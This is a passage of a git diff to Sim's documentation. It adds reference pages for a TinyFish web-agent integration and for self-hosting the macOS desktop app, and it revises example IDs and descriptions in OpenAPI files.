the goal is met, then returns what it found as structured JSON. + +TinyFish exposes three surfaces through this block: + +- **Agent** — natural-language browser automation on live websites. Charged per step from a prepaid wallet. +- **Search** — ranked web results with titles, snippets, and URLs. Free. +- **Fetch** — up to 10 URLs at a time rendered and extracted as clean markdown, HTML, or a JSON document tree. Free. + +With TinyFish in Sim, you can: + +- **Automate any site, API or not**: Log into vendor portals, legacy ERPs, and internal tools that never shipped an API, and pull the data out. +- **Get typed results, not scraped HTML**: Supply a JSON Schema in **Output Schema** and TinyFish holds the agent to it, re-prompting on mismatch and reporting every field that did not match in `schemaValidation`. +- **Survive bot detection**: Switch **Browser Profile** to `stealth` for anti-detection, and enable the Tetra proxy with a country when the page is geo-restricted. +- **Log in safely**: Connect a password manager to TinyFish's vault, then enable **Use Vault Credentials** and scope a run to specific credential URIs. **List Vault Items** returns those URIs as display-safe metadata — labels, domains, field names — so credentials never travel through the workflow. +- **Run work that outlives a step**: **Start Agent Run** queues an automation and returns a run ID immediately; **Get Run**, **Cancel Run**, and **List Runs** track it afterwards, and a webhook URL can notify you on completion. +- **Read the live web cheaply**: Pair **Search** and **Fetch URLs** to gather current sources before an agent writes or answers. + +## Choosing an operation + +| You want to… | Use | +| --- | --- | +| Get an answer back in the same workflow step | **Run Agent** | +| Kick off a long automation and check on it later | **Start Agent Run**, then **Get Run** | +| Stop a queued or in-flight automation | **Cancel Run** | +| Find runs you did not record the ID for | **List Runs** | +| Get ranked web results for a query | **Search** | +| Read specific pages as clean text | **Fetch URLs** | +| Find the credential URI to scope a run to | **List Vault Items** | + +## Writing a good goal + +The goal is handed to the agent's model verbatim, so it behaves like a prompt. Name the destination, the data, and the stopping condition — "open the pricing page and collect every plan name and monthly price" beats "get pricing". Start the run as close to the target page as you can: every navigation the URL saves is a step you are not billed for. Use **Agent Mode** `strict` when the run is a test that should fail loudly rather than improvise. + +## API key and hosted keys + +On Sim's hosted platform, **Run Agent**, **Search**, and **Fetch URLs** run on Sim's TinyFish key by default, metered to your workspace — Agent runs are billed per step, Search and Fetch are free. You can bring your own key in **Settings → API Keys** to bill TinyFish directly instead. + +**Start Agent Run**, **Get Run**, **Cancel Run**, **List Runs**, and **List Vault Items** always require your own key. An async run accrues its charge after the request returns, so there is nothing for Sim to meter at call time. + +## Errors + +A failed automation comes back as HTTP 200 with the failure inside the run's own `error` object, so read `status` rather than assuming success. The `category` tells you what to do: `AGENT_FAILURE` means the goal or the site needs attention, `SYSTEM_FAILURE` is worth retrying after `retryAfter` seconds, and `BILLING_FAILURE` means the TinyFish wallet is empty. All of that is on the block's `error` output, so a workflow can branch on it without parsing a message string. +{/* MANUAL-CONTENT-END */} + + +## Usage Instructions + +Integrate TinyFish into the workflow. Give a web agent a natural-language goal and let it drive a real browser on any site, queue and track long-running automations, search the web, and fetch pages as clean markdown. + + + +## Actions + +### TinyFish Run Agent + +Run a TinyFish web agent against a website and wait for it to finish, returning the structured result it extracted + +#### Input + +| Parameter | Type | Required | Description | +| --------- | ---- | -------- | ----------- | +| `url` | string | Yes | Target website URL the agent starts on | +| `goal` | string | Yes | Natural-language description of what to accomplish on the website | +| `browserProfile` | string | No | Browser engine: "lite" \(standard\) or "stealth" \(anti-detection\) | +| `agentMode` | string | No | Agent behavior: "default" or "strict" \(fail fast\) | +| `maxSteps` | number | No | Maximum tool-call steps before the agent stops \(1-500, default 150\) | +| `outputSchema` | json | No | JSON Schema draft-07 contract the run result must satisfy | +| `proxyEnabled` | boolean | No | Route the run through TinyFish’s Tetra proxy | +| `proxyCountryCode` | string | No | Proxy country: US, GB, CA, DE, FR, JP, or AU | +| `useVault` | boolean | No | Let the run use credentials from the connected TinyFish vault | +| `credentialItemIds` | string | No | Comma-separated vault credential URIs to scope the run to | +| `apiKey` | string | Yes | TinyFish API key | + +#### Output + +| Parameter | Type | Description | +| --------- | ---- | ----------- | +| `runId` | string | Run identifier | +| `status` | string | Final run status: COMPLETED or FAILED | +| `startedAt` | string | ISO 8601 timestamp when the run started | +| `finishedAt` | string | ISO 8601 timestamp when the run finished | +| `numOfSteps` | number | Steps the agent took | +| `result` | json | Structured data the agent extracted, null when the run failed | +| `schemaValidation` | object | Validation of the result against the requested output schema | +| ↳ `valid` | boolean | Whether the result matched the requested output schema | +| ↳ `rePromptAttempts` | number | Number of schema-repair re-prompts TinyFish performed | +| ↳ `errors` | array | Fields that did not match the requested schema | +| ↳ `path` | string | Path to the failing field | +| ↳ `expected` | string | Expected type or constraint | +| ↳ `received` | string | Type actually returned | +| ↳ `message` | string | Validation error message | +| `error` | object | Why the run failed, null when it succeeded. Branch on category to decide whether to retry | +| ↳ `code` | string | Machine-readable error code | +| ↳ `message` | string | Why the run failed | +| ↳ `category` | string | SYSTEM_FAILURE \(retry\), AGENT_FAILURE \(fix the goal\), BILLING_FAILURE \(add credits\), or UNKNOWN | +| ↳ `retryAfter` | number | Suggested retry delay in seconds, null when not retryable | +| ↳ `helpUrl` | string | Troubleshooting documentation URL | +| ↳ `helpMessage` | string | Human-readable guidance | + +### TinyFish Start Agent Run + +Queue a TinyFish web agent run and return its run ID immediately, without waiting for the automation to finish + +#### Input + +| Parameter | Type | Required | Description | +| --------- | ---- | -------- | ----------- | +| `url` | string | Yes | Target website URL the agent starts on | +| `goal` | string | Yes | Natural-language description of what to accomplish on the website | +| `browserProfile` | string | No | Browser engine: "lite" \(standard\) or "stealth" \(anti-detection\) | +| `agentMode` | string | No | Agent behavior: "default" or "strict" \(fail fast\) | +| `maxSteps` | number | No | Maximum tool-call steps before the agent stops \(1-500, default 150\) | +| `outputSchema` | json | No | JSON Schema draft-07 contract the run result must satisfy | +| `proxyEnabled` | boolean | No | Route the run through TinyFish’s Tetra proxy | +| `proxyCountryCode` | string | No | Proxy country: US, GB, CA, DE, FR, JP, or AU | +| `useVault` | boolean | No | Let the run use credentials from the connected TinyFish vault | +| `credentialItemIds` | string | No | Comma-separated vault credential URIs to scope the run to | +| `apiKey` | string | Yes | TinyFish API key | +| `webhookUrl` | string | No | HTTPS URL notified when the run completes, fails, or is cancelled | + +#### Output + +| Parameter | Type | Description | +| --------- | ---- | ----------- | +| `runId` | string | Identifier of the queued run, used to poll or cancel it | + +### TinyFish Get Run + +Get the status, extracted result, and step history of a TinyFish automation run by its ID + +#### Input + +| Parameter | Type | Required | Description | +| --------- | ---- | -------- | ----------- | +| `runId` | string | Yes | Identifier of the run to look up | +| `apiKey` | string | Yes | TinyFish API key | + +#### Output + +| Parameter | Type | Description | +| --------- | ---- | ----------- | +| `runId` | string | Run identifier | +| `status` | string | PENDING, RUNNING, COMPLETED, FAILED, or CANCELLED | +| `goal` | string | Natural-language goal the run was given | +| `createdAt` | string | ISO 8601 timestamp when the run was created | +| `startedAt` | string | ISO 8601 timestamp when the run started executing | +| `finishedAt` | string | ISO 8601 timestamp when the run finished | +| `numOfSteps` | number | Steps taken, null while the run is still in progress | +| `result` | json | Structured data the agent extracted, null until the run succeeds | +| `schemaValidation` | object | Validation of the result against the requested output schema | +| ↳ `valid` | boolean | Whether the result matched the requested output schema | +| ↳ `rePromptAttempts` | number | Number of schema-repair re-prompts TinyFish performed | +| ↳ `errors` | array | Fields that did not match the requested schema | +| ↳ `path` | string | Path to the failing field | +| ↳ `expected` | string | Expected type or constraint | +| ↳ `received` | string | Type actually returned | +| ↳ `message` | string | Validation error message | +| `error` | object | Failure details, null while the run is pending or succeeded | +| ↳ `code` | string | Machine-readable error code | +| ↳ `message` | string | Why the run failed | +| ↳ `category` | string | SYSTEM_FAILURE \(retry\), AGENT_FAILURE \(fix the goal\), BILLING_FAILURE \(add credits\), or UNKNOWN | +| ↳ `retryAfter` | number | Suggested retry delay in seconds, null when not retryable | +| ↳ `helpUrl` | string | Troubleshooting documentation URL | +| ↳ `helpMessage` | string | Human-readable guidance | +| `streamingUrl` | string | Live browser view URL, available while the run is executing | +| `browserConfig` | object | Proxy settings the run executed with | +| ↳ `proxyEnabled` | boolean | Whether a proxy was used | +| ↳ `proxyCountryCode` | string | Proxy country code | +| `videoUrl` | string | Presigned recording URL, expires 15 minutes after it is issued | +| `steps` | array | Steps the agent took during the run | +| ↳ `id` | string | Step identifier | +| ↳ `timestamp` | string | ISO 8601 timestamp of the step | +| ↳ `status` | string | Status of the run at this step | +| ↳ `action` | string | Action the agent took | +| ↳ `duration` | string | Time the step took | + +### TinyFish Cancel Run + +Cancel a queued or in-progress TinyFish automation run by its ID + +#### Input + +| Parameter | Type | Required | Description | +| --------- | ---- | -------- | ----------- | +| `runId` | string | Yes | Identifier of the run to cancel | +| `apiKey` | string | Yes | TinyFish API key | + +#### Output + +| Parameter | Type | Description | +| --------- | ---- | ----------- | +| `runId` | string | Run identifier | +| `status` | string | Status after the call: CANCELLED, or the terminal status the run already reached | +| `cancelledAt` | string | ISO 8601 timestamp of the cancellation, null when nothing was cancelled | +| `message` | string | Context such as "Run already cancelled" or "Run already finished" | + +### TinyFish List Runs + +List TinyFish automation runs, optionally filtered by status, goal text, or creation date + +#### Input + +| Parameter | Type | Required | Description | +| --------- | ---- | -------- | ----------- | +| `status` | string | No | Filter by run status: PENDING, RUNNING, COMPLETED, FAILED, or CANCELLED | +| `goal` | string | No | Filter by goal text \(case-insensitive partial match, max 500 characters\) | +| `createdAfter` | string | No | Only return runs created after this ISO 8601 timestamp | +| `createdBefore` | string | No | Only return runs created before this ISO 8601 timestamp | +| `sortDirection` | string | No | Sort by creation time: "desc" \(newest first, default\) or "asc" | +| `limit` | number | No | Maximum runs to return \(1-100, default 20\) | +| `cursor` | string | No | Pagination cursor returned by a previous call | +| `apiKey` | string | Yes | TinyFish API key | + +#### Output + +| Parameter | Type | Description | +| --------- | ---- | ----------- | +| `runs` | array | Runs matching the filters, newest first by default | +| ↳ `runId` | string | Run identifier | +| ↳ `status` | string | PENDING, RUNNING, COMPLETED, FAILED, or CANCELLED | +| ↳ `goal` | string | Natural-language goal the run was given | +| ↳ `createdAt` | string | ISO 8601 timestamp when the run was created | +| ↳ `startedAt` | string | ISO 8601 timestamp when the run started executing | +| ↳ `finishedAt` | string | ISO 8601 timestamp when the run finished | +| ↳ `numOfSteps` | number | Steps taken, null while the run is still in progress | +| ↳ `result` | json | Structured data the agent extracted, null until the run succeeds | +| ↳ `schemaValidation` | object | Validation of the result against the requested output schema | +| ↳ `valid` | boolean | Whether the result matched the requested output schema | +| ↳ `rePromptAttempts` | number | Number of schema-repair re-prompts TinyFish performed | +| ↳ `errors` | array | Fields that did not match the requested schema | +| ↳ `path` | string | Path to the failing field | +| ↳ `expected` | string | Expected type or constraint | +| ↳ `received` | string | Type actually returned | +| ↳ `message` | string | Validation error message | +| ↳ `error` | object | Failure details, null while the run is pending or succeeded | +| ↳ `code` | string | Machine-readable error code | +| ↳ `message` | string | Why the run failed | +| ↳ `category` | string | SYSTEM_FAILURE \(retry\), AGENT_FAILURE \(fix the goal\), BILLING_FAILURE \(add credits\), or UNKNOWN | +| ↳ `retryAfter` | number | Suggested retry delay in seconds, null when not retryable | +| ↳ `helpUrl` | string | Troubleshooting documentation URL | +| ↳ `helpMessage` | string | Human-readable guidance | +| ↳ `streamingUrl` | string | Live browser view URL, available while the run is executing | +| ↳ `browserConfig` | object | Proxy settings the run executed with | +| ↳ `proxyEnabled` | boolean | Whether a proxy was used | +| ↳ `proxyCountryCode` | string | Proxy country code | +| `total` | number | Total runs matching the filters | +| `nextCursor` | string | Cursor for the next page, null when there are no more results | +| `hasMore` | boolean | Whether more results follow this page | + +### TinyFish Search + +Search the web with TinyFish and get ranked results with titles, snippets, and URLs + +#### Input + +| Parameter | Type | Required | Description | +| --------- | ---- | -------- | ----------- | +| `query` | string | Yes | Search query | +| `location` | string | No | Country code for geo-targeted results, such as US | +| `language` | string | No | Language code for the results, such as en | +| `apiKey` | string | Yes | TinyFish API key | + +#### Output + +| Parameter | Type | Description | +| --------- | ---- | ----------- | +| `query` | string | Query that was executed | +| `results` | array | Ranked search results | +| ↳ `position` | number | Rank in the result list | +| ↳ `siteName` | string | Site the result came from | +| ↳ `snippet` | string | Text snippet from the page | +| ↳ `title` | string | Page title | +| ↳ `url` | string | Result URL | +| `totalResults` | number | Number of results returned | + +### TinyFish Fetch + +Fetch up to 10 URLs with TinyFish, rendering JavaScript when needed, and return clean extracted content + +#### Input + +| Parameter | Type | Required | Description | +| --------- | ---- | -------- | ----------- | +| `urls` | string | Yes | Comma-separated list of 1-10 URLs to fetch | +| `format` | string | No | Extraction format: "markdown" \(default\), "html", or "json" | +| `links` | boolean | No | Also return every outbound link found on each page | +| `imageLinks` | boolean | No | Also return every image URL found on each page | +| `apiKey` | string | Yes | TinyFish API key | + +#### Output + +| Parameter | Type | Description | +| --------- | ---- | ----------- | +| `results` | array | Successfully fetched pages | +| ↳ `url` | string | URL that was requested | +| ↳ `finalUrl` | string | URL after redirects | +| ↳ `title` | string | Page title | +| ↳ `description` | string | Meta description | +| ↳ `language` | string | Detected language code | +| ↳ `format` | string | Format of the extracted content | +| ↳ `text` | json | Extracted content — a string for markdown and html, a document tree for json | +| ↳ `author` | string | Page author | +| ↳ `publishedDate` | string | Published date | +| ↳ `links` | array | Outbound links, only when links was requested | +| ↳ `imageLinks` | array | Image URLs, only when image links were requested | +| ↳ `latencyMs` | number | Fetch latency in ms | +| `errors` | array | URLs that failed. A per-URL failure never fails the whole request | +| ↳ `url` | string | URL that failed | +| ↳ `error` | string | Why the fetch failed | + +### TinyFish List Vault Items + +List the credentials available from password managers connected to TinyFish, with the URIs an agent run can be scoped to + +#### Input + +| Parameter | Type | Required | Description | +| --------- | ---- | -------- | ----------- | +| `apiKey` | string | Yes | TinyFish API key | + +#### Output + +| Parameter | Type | Description | +| --------- | ---- | ----------- | +| `items` | array | Credentials available to automation runs | +| ↳ `itemId` | string | Credential URI, used as a Vault Credential URI on a run | +| ↳ `connectionId` | string | Identifier of the vault connection it came from | +| ↳ `label` | string | Credential name, such as "Amazon Login" | +| ↳ `vaultName` | string | Vault the credential lives in | +| ↳ `domains` | array | Domains the credential applies to | +| ↳ `fieldMetadata` | array | Fields the credential carries, without their values | +| ↳ `fieldId` | string | Field identifier | +| ↳ `label` | string | Field name | +| ↳ `type` | string | STRING, CONCEALED, or OTP | +| ↳ `hasTotp` | boolean | Whether the credential carries a TOTP secret | + + diff --git a/apps/docs/content/docs/en/platform/self-hosting/desktop.mdx b/apps/docs/content/docs/en/platform/self-hosting/desktop.mdx new file mode 100644 index 00000000000..8c6904686f3 --- /dev/null +++ b/apps/docs/content/docs/en/platform/self-hosting/desktop.mdx @@ -0,0 +1,122 @@ +--- +title: Desktop App +description: Point the macOS desktop app at your own Sim deployment +--- + +import { Callout } from 'fumadocs-ui/components/callout' +import { Step, Steps } from 'fumadocs-ui/components/steps' + +The Sim desktop app is a native macOS shell around a Sim deployment. It is **not** tied to sim.ai — the build bakes in only a *default* server, and every runtime boundary (navigation, content security policy, cookie storage, the update feed) is derived from the server you point it at. + +So self-hosting the desktop app takes no build of your own: install the same signed, notarized app everyone else installs, then point it at your deployment. + + + The desktop app is macOS-only today. The web app works in any browser on any platform. + + +## Your deployment already serves the installer + +Every Sim deployment exposes two public endpoints: + +| Endpoint | What it does | +|---|---| +| `/api/desktop/update/download` | Redirects to the newest installer for this deployment's release channel — stable, for a self-hosted install | +| `/api/desktop/update/latest-mac.yml` | The update manifest installed apps poll | + +Both resolve against Sim's public GitHub releases, and the installers themselves are downloaded from GitHub. Nothing is built, signed, or hosted by you: your deployment decides *which* release its clients are offered and serves the manifest, so installed apps poll your server instead of sim.ai — but they cannot be served artifacts of your own from this path. To ship your own build, see [Building your own shell](#building-your-own-shell). + +The Sim server needs outbound access to `api.github.com` and `github.com` for these to resolve. Unauthenticated GitHub API requests are capped at 60/hour per IP; set `GITHUB_TOKEN` on the Sim server to raise that to 5000/hour. + +## Install and connect + + + + + +### Get the installer link + +```bash +npx sim-setup desktop +``` + +This reads your deployment URL from your configuration, checks that the installer and update feed both resolve, and prints the download link plus the server URL to enter. + +Pass `--url https://sim.example.com` when running the CLI somewhere that reaches Sim at a different address — or when the machine has more than one Sim configuration, in which case the command lists what it found and asks you to say which deployment you mean rather than guessing. + +Without the CLI, open `https://your-sim-url/api/desktop/update/download` in a browser. + + + + + +### Install it + +Open the `.dmg` and drag Sim to Applications. The build is signed and notarized by Sim, so Gatekeeper accepts it with no override. + + + + + +### Point it at your server + +Launch Sim, then choose **Sim → Server…** in the menu bar. Enter your deployment URL and press **Connect**. + +The app relaunches against your server and stays there — the setting persists across updates, and every later update is fetched from your deployment's feed. + +Changing servers deliberately clears what the previous deployment was trusted with, so the new one cannot inherit it: + +- **Your session.** Each server gets its own storage, so you sign in again. +- **The saved route.** The app opens on the workspace picker, not the workspace the old server had open. +- **Folder access.** Directories you let the agent read are forgotten; grant them again when you need them. +- **Built-in browser sessions.** Sites you were signed into in the built-in browser are signed out. + +The last two are capabilities you granted to a *specific* Sim server, so carrying them across would hand the new deployment access it was never given — the same reasoning that clears them when you sign out. + +Device settings are kept: window size, zoom, theme, notification preferences, tray, and launch-at-login. + +If something cannot be cleared, the change is refused and the app stays on your current server rather than switching with the old deployment's access still in place. Retrying finishes the job. + + + + + + + Enter the origin your server actually **serves**, not one that redirects to it. If your load balancer redirects `sim.example.com` to `www.sim.example.com`, use the `www` form. The app compares origins exactly, so a redirecting origin leaves every page off-origin and strands sign-in. + + +## Requirements for the server URL + +- **HTTPS is required**, except for the loopback hosts `localhost`, `127.0.0.1`, and `::1`, which may use HTTP for local testing. +- No credentials in the URL. +- Paths are ignored — only scheme, host, and port are stored. + +Each server gets its own isolated cookie and storage partition, so you can move between deployments without either one seeing the other's session. + +## Recovering from a wrong server URL + +If the app is pointed at a server it cannot reach, it shows its **Can't connect** page, which names the reason — a DNS failure, a timeout, or a TLS problem. That page has a **Change server** button that opens the same picker, pre-filled with the current value, so a typo is always recoverable without touching the filesystem. + + + **Your TLS certificate must be trusted by the operating system.** The app rejects certificate errors outright and offers no "continue anyway" — a self-signed certificate or a private CA that is not in the system trust store shows `Connection isn't secure` and will not load, however correct the URL is. Install your CA in the system keychain, or use a publicly trusted certificate. + + +## Building your own shell + +You almost certainly do not need this. It is worth it only if you need your own bundle identity or your own signing identity — for example, to distribute through MDM under your organization's Developer ID. + +Packaging needs **macOS with Xcode 26 or newer** — the app icon is an Icon Composer asset, and an older toolchain fails with `Failed to check actool version`. + +```bash +cd apps/desktop +SIM_DESKTOP_DEFAULT_ORIGIN=https://sim.example.com bun run package:mac +``` + +This bakes your origin in as the default for fresh installs, so nobody has to set the server by hand (the picker stays available in the menu). Artifacts land in `apps/desktop/release/`, named `Sim--.dmg`. Add `-c.appId=com.example.sim` if you want your own bundle identifier rather than Sim's. + + + Signing and notarization become your responsibility with this route, and macOS quarantines anything downloaded that is not notarized. + + Supply your own Developer ID via `CSC_LINK` and `CSC_KEY_PASSWORD`. For notarization, save your App Store Connect key as a `.p8` file and point `APPLE_API_KEY` at its **absolute filesystem path** — it is a path, not the key itself, and a leading `~` is not expanded — then set `APPLE_API_KEY_ID`, `APPLE_API_ISSUER`, and `APPLE_TEAM_ID`. + + Use `package:mac` for this, **not** `package:share`. The share script is the "send someone a build to try" path: it passes `-c.mac.timestamp=none` to skip the per-file round trip to Apple's timestamp authority. Apple's notary service requires a secure timestamp, so a build made that way cannot be notarized however many credentials you supply. + diff --git a/apps/docs/content/docs/en/platform/self-hosting/meta.json b/apps/docs/content/docs/en/platform/self-hosting/meta.json index b2639411663..f1373a9682f 100644 --- a/apps/docs/content/docs/en/platform/self-hosting/meta.json +++ b/apps/docs/content/docs/en/platform/self-hosting/meta.json @@ -18,6 +18,7 @@ "networking", "security", "verify", + "desktop", "---Operate---", "observability", "scaling", diff --git a/apps/docs/openapi-core.json b/apps/docs/openapi-core.json index b7020ae27f9..522584c295d 100644 --- a/apps/docs/openapi-core.json +++ b/apps/docs/openapi-core.json @@ -211,7 +211,7 @@ "description": "Comma-separated block-output selectors. A bare `blockId` returns that block's full output; a dot-path like `blockId.field` or `blockId.nested.path` returns just that value. Results are returned in the `blockOutputs` map keyed by the selector string.", "schema": { "type": "string", - "example": "c1b90bce-8a82-42a5-b6a5-5762846c2eaf,c1b90bce-8a82-42a5-b6a5-5762846c2eaf.waitDuration" + "example": "a6f0c8d2-3e57-4b19-8d4a-1c9e2f6b0a35,a6f0c8d2-3e57-4b19-8d4a-1c9e2f6b0a35.waitDuration" } } ], @@ -227,8 +227,8 @@ "completed": { "summary": "Completed run", "value": { - "executionId": "9254f1c9-5a11-4a12-91e3-8065293f3609", - "workflowId": "81f661e1-d704-4861-b5c1-5bb3cf57e6a7", + "executionId": "e4f8d2b6-9a1c-4e3d-8b7f-5c0a2d9e6f13", + "workflowId": "3b1f7c92-8d4e-4a6b-9c0d-5e2f8a714b36", "status": "completed", "trigger": "api", "level": "info", @@ -247,8 +247,8 @@ "paused": { "summary": "Currently paused run", "value": { - "executionId": "772749f6-ee81-414c-a2c3-671549dd62b8", - "workflowId": "81f661e1-d704-4861-b5c1-5bb3cf57e6a7", + "executionId": "d5e1a3c7-8f60-4b29-9c4d-2a6e0f8b3d17", + "workflowId": "3b1f7c92-8d4e-4a6b-9c0d-5e2f8a714b36", "status": "paused", "trigger": "manual", "level": "info", @@ -259,8 +259,8 @@ "pausedAt": "2026-05-15T22:25:57.216Z", "resumeAt": "2026-05-16T18:25:57.200Z", "pauseKind": "time", - "blockedOnBlockId": "c1b90bce-8a82-42a5-b6a5-5762846c2eaf", - "pausedExecutionId": "438bf05b-bd3c-4011-b78e-b19c112eeb66", + "blockedOnBlockId": "a6f0c8d2-3e57-4b19-8d4a-1c9e2f6b0a35", + "pausedExecutionId": "9d3b7f10-2c8e-4a56-b0f4-6e1a8c5d2b97", "pausePointCount": 1, "resumedCount": 0 }, @@ -275,8 +275,8 @@ "failed": { "summary": "Failed run", "value": { - "executionId": "3ccfdeed-a63c-4e86-98e2-8bec723bca52", - "workflowId": "81f661e1-d704-4861-b5c1-5bb3cf57e6a7", + "executionId": "b8c2e60f-1a47-4d35-9e8b-3f0d5a7c2e19", + "workflowId": "3b1f7c92-8d4e-4a6b-9c0d-5e2f8a714b36", "status": "failed", "trigger": "api", "level": "error", @@ -1537,12 +1537,12 @@ "executionId": { "type": "string", "description": "The unique identifier of the execution.", - "example": "9254f1c9-5a11-4a12-91e3-8065293f3609" + "example": "e4f8d2b6-9a1c-4e3d-8b7f-5c0a2d9e6f13" }, "workflowId": { "type": "string", "description": "The unique identifier of the workflow.", - "example": "81f661e1-d704-4861-b5c1-5bb3cf57e6a7" + "example": "3b1f7c92-8d4e-4a6b-9c0d-5e2f8a714b36" }, "status": { "type": "string", @@ -1610,12 +1610,12 @@ "type": "string", "nullable": true, "description": "The block currently blocking resume.", - "example": "c1b90bce-8a82-42a5-b6a5-5762846c2eaf" + "example": "a6f0c8d2-3e57-4b19-8d4a-1c9e2f6b0a35" }, "pausedExecutionId": { "type": "string", "description": "ID of the paused-execution row, useful for cross-referencing with the human-in-the-loop endpoints.", - "example": "438bf05b-bd3c-4011-b78e-b19c112eeb66" + "example": "9d3b7f10-2c8e-4a56-b0f4-6e1a8c5d2b97" }, "pausePointCount": { "type": "integer", @@ -1659,8 +1659,8 @@ "description": "Per-block outputs keyed by the selector string. Returned only when `?selectedOutputs` is set.", "additionalProperties": true, "example": { - "c1b90bce-8a82-42a5-b6a5-5762846c2eaf.waitDuration": 60000, - "c1b90bce-8a82-42a5-b6a5-5762846c2eaf.status": "completed" + "a6f0c8d2-3e57-4b19-8d4a-1c9e2f6b0a35.waitDuration": 60000, + "a6f0c8d2-3e57-4b19-8d4a-1c9e2f6b0a35.status": "completed" } } } diff --git a/apps/docs/openapi-v2-files-audit.json b/apps/docs/openapi-v2-files-audit.json index 449217a46b5..696ff4e3623 100644 --- a/apps/docs/openapi-v2-files-audit.json +++ b/apps/docs/openapi-v2-files-audit.json @@ -93,10 +93,10 @@ "name": "scope", "in": "query", "required": false, - "description": "Which lifecycle set to list: `active` (default) for live files, `archived` for files a `DELETE` soft-deleted. `folderPath` resolves against active folders only, so pairing it with `scope=archived` returns an empty page when the containing folder was archived too.", + "description": "Which lifecycle set to list: `active` (default) for live files, `archived` for files a delete soft-deleted. `folderPath` resolves against active folders only, so pairing it with `scope=archived` returns an empty page when the containing folder was archived too.", "schema": { "default": "active", - "description": "Which lifecycle set to list: `active` (default) for live files, `archived` for files a `DELETE` soft-deleted. `folderPath` resolves against active folders only, so pairing it with `scope=archived` returns an empty page when the containing folder was archived too.", + "description": "Which lifecycle set to list: `active` (default) for live files, `archived` for files a delete soft-deleted. `folderPath` resolves against active folders only, so pairing it with `scope=archived` returns an empty page when the containing folder was archived too.", "type": "string", "enum": ["active", "archived"] } @@ -1384,10 +1384,10 @@ "name": "scope", "in": "query", "required": false, - "description": "Which lifecycle set to read from: `active` (default) resolves live files only and returns `404` for a file a `DELETE` soft-deleted; `archived` also resolves soft-deleted files, so metadata stays readable before `POST /files/{fileId}/restore`. Authorization is identical for both.", + "description": "Which lifecycle set to read from: `active` (default) resolves live files only and returns `404` for a file a delete soft-deleted; `archived` also resolves soft-deleted files, so metadata stays readable before the file is restored. Authorization is identical for both.", "schema": { "default": "active", - "description": "Which lifecycle set to read from: `active` (default) resolves live files only and returns `404` for a file a `DELETE` soft-deleted; `archived` also resolves soft-deleted files, so metadata stays readable before `POST /files/{fileId}/restore`. Authorization is identical for both.", + "description": "Which lifecycle set to read from: `active` (default) resolves live files only and returns `404` for a file a delete soft-deleted; `archived` also resolves soft-deleted files, so metadata stays readable before the file is restored. Authorization is identical for both.", "type": "string", "enum": ["active", "archived"] } @@ -2098,9 +2098,9 @@ "name": "parentPath", "in": "query", "required": false, - "description": "Restrict results to direct children of this parent path.", + "description": "Restrict results to direct children of this parent path. A path that names no folder narrows the result to nothing, so the response is an empty page rather than an error.", "schema": { - "description": "Restrict results to direct children of this parent path.", + "description": "Restrict results to direct children of this parent path. A path that names no folder narrows the result to nothing, so the response is an empty page rather than an error.", "$ref": "#/components/schemas/FolderPathInput" } }, @@ -2144,10 +2144,10 @@ "name": "scope", "in": "query", "required": false, - "description": "Which lifecycle set to list: `active` (default) returns live folders only; `archived` returns folders a recursive `DELETE` soft-deleted, which is how a caller finds a path to hand to `POST /api/v2/files/folders/restore`. Authorization is identical for both.", + "description": "Which lifecycle set to list: `active` (default) returns live folders only; `archived` returns folders a recursive delete soft-deleted, which is how a caller finds a path to hand to the folder restore. Authorization is identical for both.", "schema": { "default": "active", - "description": "Which lifecycle set to list: `active` (default) returns live folders only; `archived` returns folders a recursive `DELETE` soft-deleted, which is how a caller finds a path to hand to `POST /api/v2/files/folders/restore`. Authorization is identical for both.", + "description": "Which lifecycle set to list: `active` (default) returns live folders only; `archived` returns folders a recursive delete soft-deleted, which is how a caller finds a path to hand to the folder restore. Authorization is identical for both.", "type": "string", "enum": ["active", "archived"] } @@ -2841,12 +2841,12 @@ "size": { "type": "number", "minimum": 0, - "description": "Size in bytes of the stored file. For a generated document (docx, pptx, pdf, xlsx) this is the generation source, not the rendered document, so it does not predict how many bytes `GET /files/{fileId}` returns.", + "description": "Size in bytes of the stored file. For a generated document (docx, pptx, pdf, xlsx) this is the generation source, not the rendered document, so it does not predict how many bytes downloading the file returns.", "examples": [1024] }, "type": { "type": "string", - "description": "MIME type of the stored file. For a generated document (docx, pptx, pdf, xlsx) this is the generation source type, not the rendered document type `GET /files/{fileId}` serves.", + "description": "MIME type of the stored file. For a generated document (docx, pptx, pdf, xlsx) this is the generation source type, not the rendered document type a download serves.", "examples": ["text/csv"] }, "key": { @@ -2888,7 +2888,7 @@ "type": "null" } ], - "description": "ISO 8601 timestamp when the file was archived by `DELETE /files/{fileId}`, or null while the file is active. Only `GET /files?scope=archived` returns files with a non-null value.", + "description": "ISO 8601 timestamp when the file was archived by deleting it, or null while the file is active. Only an archived-scope file list returns files with a non-null value.", "format": "date-time", "examples": ["2026-01-16T09:00:00Z"] } @@ -3673,12 +3673,12 @@ "size": { "type": "number", "minimum": 0, - "description": "Size in bytes of the stored file. For a generated document (docx, pptx, pdf, xlsx) this is the generation source, not the rendered document, so it does not predict how many bytes `GET /files/{fileId}` returns.", + "description": "Size in bytes of the stored file. For a generated document (docx, pptx, pdf, xlsx) this is the generation source, not the rendered document, so it does not predict how many bytes downloading the file returns.", "examples": [1024] }, "type": { "type": "string", - "description": "MIME type of the stored file. For a generated document (docx, pptx, pdf, xlsx) this is the generation source type, not the rendered document type `GET /files/{fileId}` serves.", + "description": "MIME type of the stored file. For a generated document (docx, pptx, pdf, xlsx) this is the generation source type, not the rendered document type a download serves.", "examples": ["text/csv"] }, "key": { @@ -3720,7 +3720,7 @@ "type": "null" } ], - "description": "ISO 8601 timestamp when the file was archived by `DELETE /files/{fileId}`, or null while the file is active. Only `GET /files?scope=archived` returns files with a non-null value.", + "description": "ISO 8601 timestamp when the file was archived by deleting it, or null while the file is active. Only an archived-scope file list returns files with a non-null value.", "format": "date-time", "examples": ["2026-01-16T09:00:00Z"] }, @@ -4430,7 +4430,7 @@ "description": "Workspace that owns the archived folder." }, "path": { - "description": "Path of the archived folder to restore, as reported by `GET /api/v2/files/folders?scope=archived`.", + "description": "Path of the archived folder to restore, as reported by an archived-scope folder list.", "$ref": "#/components/schemas/NonRootFolderPathInput" } }, diff --git a/apps/docs/openapi-v2-knowledge.json b/apps/docs/openapi-v2-knowledge.json index 8bb1c1edfaa..38eecd23994 100644 --- a/apps/docs/openapi-v2-knowledge.json +++ b/apps/docs/openapi-v2-knowledge.json @@ -2718,9 +2718,9 @@ "name": "parentPath", "in": "query", "required": false, - "description": "Restrict results to direct children of this parent path.", + "description": "Restrict results to direct children of this parent 